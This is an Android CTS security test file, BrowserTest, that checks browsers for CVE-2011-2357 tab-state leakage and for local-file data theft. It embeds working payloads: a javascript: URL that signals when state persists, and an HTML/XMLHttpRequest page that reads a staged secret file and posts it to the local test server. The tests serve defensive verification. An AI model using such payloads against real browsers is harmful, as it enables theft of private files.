1 /* 2 * Copyright (C) 2011 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 package android.security.cts; 18 19 import android.content.Intent; 20 import android.content.pm.PackageManager; 21 import android.content.pm.ResolveInfo; 22 import android.net.Uri; 23 import android.os.StrictMode; 24 import android.test.AndroidTestCase; 25 import android.webkit.cts.CtsTestServer; 26 27 import org.apache.http.HttpEntity; 28 29 import java.io.File; 30 import java.io.FileOutputStream; 31 import java.nio.charset.StandardCharsets; 32 import java.util.ArrayList; 33 import java.util.List; 34 35 /** 36 * Test file for browser security issues. 37 */ 38 public class BrowserTest extends AndroidTestCase { 39 private CtsTestServer mWebServer; 40 41 @Override setUp()42 protected void setUp() throws Exception { 43 super.setUp(); 44 mWebServer = new CtsTestServer(mContext); 45 } 46 47 @Override tearDown()48 protected void tearDown() throws Exception { 49 mWebServer.shutdown(); 50 super.tearDown(); 51 } 52 53 /** 54 * Verify that no state is preserved across multiple intents sent 55 * to the browser when we reuse a browser tab. If such data is preserved, 56 * then browser is vulnerable to a data stealing attack. 57 * 58 * In this test, we send two intents to the Android browser. The first 59 * intent sets document.b2 to 1. The second intent attempts to read 60 * document.b2. If the read is successful, then state was preserved 61 * across the two intents. 62 * 63 * If state is preserved across browser tabs, we ask 64 * the browser to send an HTTP request to our local server. 65 * 66 * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for 67 * vulnerability information for this test case. 68 * 69 * See commits 096bae248453abe83cbb2e5a2c744bd62cdb620b and 70 * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability. 71 */ testTabReuse()72 public void testTabReuse() throws InterruptedException { 73 List<Intent> intents = getAllJavascriptIntents(); 74 for (Intent i : intents) { 75 mContext.startActivity(i); 76 mContext.startActivity(i); 77 78 /* 79 * Wait 5 seconds for the browser to contact the server, but 80 * fail fast if we detect the bug 81 */ 82 for (int j = 0; j < 5; j++) { 83 assertEquals("javascript handler preserves state across " 84 + "multiple intents. Vulnerable to CVE-2011-2357?", 85 0, mWebServer.getRequestCount()); 86 Thread.sleep(1000); 87 } 88 } 89 } 90 91 /** 92 * Verify that no state is preserved across multiple intents sent 93 * to the browser when we run out of usable browser tabs. If such data is 94 * preserved, then browser is vulnerable to a data stealing attack. 95 * 96 * In this test, we send 20 intents to the Android browser. Each 97 * intent sets the variable "document.b1" equal to 1. If we are able 98 * read document.b1 in subsequent invocations of the intent, then 99 * we know state was preserved. In that case, we send a message 100 * to the local server, recording this fact. 101 * 102 * Our test fails if the local server ever receives an HTTP request. 103 * 104 * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for 105 * vulnerability information this test case. 106 * 107 * See commits 096bae248453abe83cbb2e5a2c744bd62cdb620b and 108 * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability. 109 */ testTabExhaustion()110 public void testTabExhaustion() throws InterruptedException { 111 List<Intent> intents = getAllJavascriptIntents(); 112 for (Intent i : intents) { 113 i.addFlags(Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT); 114 115 /* 116 * Send 20 intents. 20 is greater than the maximum number 117 * of tabs allowed by the Android browser. 118 */ 119 for (int j = 0; j < 20; j++) { 120 mContext.startActivity(i); 121 } 122 123 /* 124 * Wait 5 seconds for the browser to contact the server, but 125 * fail fast if we detect the bug 126 */ 127 for (int j = 0; j < 5; j++) { 128 assertEquals("javascript handler preserves state across " 129 + "multiple intents. Vulnerable to CVE-2011-2357?", 130 0, mWebServer.getRequestCount()); 131 Thread.sleep(1000); 132 } 133 } 134 } 135 136 /** 137 * See Bug 6212665 for detailed information about this issue. 138 */ testBrowserPrivateDataAccess()139 public void testBrowserPrivateDataAccess() throws Throwable { 140 // Yucky workaround to let us launch file:// Uris 141 StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().build()); 142 143 // Create a list of all intents for http display. This includes all browsers. 144 List<Intent> intents = createAllIntents(Uri.parse("http://www.google.com")); 145 String action = "\"" + mWebServer.getBaseUri() + "/\""; 146 // test each browser 147 for (Intent intent : intents) { 148 // reset state 149 mWebServer.resetRequestState(); 150 151 // define target file, which is supposedly protected from this app 152 final File secretFile = exposeFile(stageFile("target.txt", "SECRETS!")); 153 154 String html = 155 "<html><body>\n" + 156 " <form name=\"myform\" action=" + action + " method=\"post\">\n" + 157 " <input type='text' name='val'/>\n" + 158 " <a href=\"javascript :submitform()\">Search</a></form>\n" + 159 "<script>\n" + 160 " var client = new XMLHttpRequest();\n" + 161 " client.open('GET', '" + Uri.fromFile(secretFile) + "');\n" + 162 " client.onreadystatechange = function() {\n" + 163 " if(client.readyState == 4) {\n" + 164 " myform.val.value = client.responseText;\n" + 165 " document.myform.submit(); \n" + 166 " }}\n" + 167 " client.send();\n" + 168 "</script></body></html>\n"; 169 170 // create a local HTML to access protected file 171 final File htmlFile = exposeFile(stageFile("jsfileaccess.html", html)); 172 173 // do a file request 174 intent.setData(Uri.fromFile(htmlFile)); 175 mContext.startActivity(intent); 176 177 /* 178 * Wait 5 seconds for the browser to contact the server, but 179 * fail fast if we detect the bug 180 */ 181 for (int j = 0; j < 5; j++) { 182 // it seems that even when cross-origin policy prevents a file 183 // access, browser is still doing a POST sometimes, but it just 184 // sends the query part and no private data. Make sure this does not 185 // cause a false alarm. 186 if (mWebServer.getRequestEntities().size() > 0) { 187 int len = 0; 188 for (HttpEntity entity : mWebServer.getRequestEntities()) { 189 len += entity.getContentLength(); 190 } 191 final int queryLen = "val=".length(); 192 assertTrue("Failed preventing access to private data", len <= queryLen); 193 } 194 Thread.sleep(1000); 195 } 196 } 197 } 198 stageFile(String name, String contents)199 private File stageFile(String name, String contents) throws Exception { 200 final File file = mContext.getFileStreamPath(name); 201 try (FileOutputStream out = new FileOutputStream(file)) { 202 out.write(contents.getBytes(StandardCharsets.UTF_8)); 203 } 204 return file; 205 } 206 exposeFile(File file)207 private File exposeFile(File file) throws Exception { 208 file.setReadable(true, false); 209 file.setReadable(true, true); 210 211 File dir = file.getParentFile(); 212 do { 213 dir.setExecutable(true, false); 214 dir.setExecutable(true, true); 215 dir = dir.getParentFile(); 216 } while (dir != null); 217 218 return file; 219 } 220 221 /** 222 * This method returns a List of explicit Intents for all programs 223 * which handle javascript URIs. 224 */ getAllJavascriptIntents()225 private List<Intent> getAllJavascriptIntents() { 226 String localServerUri = mWebServer.getBaseUri(); 227 String varName = "document.b" + System.currentTimeMillis(); 228 229 /* 230 * Build a javascript URL containing the following (without spaces and newlines) 231 * <code> 232 * if (document.b12345 == 1) { 233 * document.location = "http://localhost:1234/"; 234 * } 235 * document.b12345 = 1; 236 * </code> 237 */ 238 String javascript = "javascript:if(" + varName + "==1){" 239 + "document.location=\"" + localServerUri + "\"" 240 + "};" 241 + varName + "=1"; 242 243 return createAllIntents(Uri.parse(javascript)); 244 } 245 246 /** 247 * Create intents for all activities that can display the given URI. 248 */ createAllIntents(Uri uri)249 private List<Intent> createAllIntents(Uri uri) { 250 251 Intent implicit = new Intent(Intent.ACTION_VIEW); 252 implicit.setData(uri); 253 254 /* convert our implicit Intent into multiple explicit Intents */ 255 List<Intent> retval = new ArrayList<Intent>(); 256 PackageManager pm = mContext.getPackageManager(); 257 List<ResolveInfo> list = pm.queryIntentActivities(implicit, PackageManager.GET_META_DATA); 258 for (ResolveInfo i : list) { 259 Intent explicit = new Intent(Intent.ACTION_VIEW); 260 explicit.setClassName(i.activityInfo.packageName, i.activityInfo.name); 261 explicit.setData(uri); 262 explicit.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 263 retval.add(explicit); 264 } 265 266 return retval; 267 } 268 } 269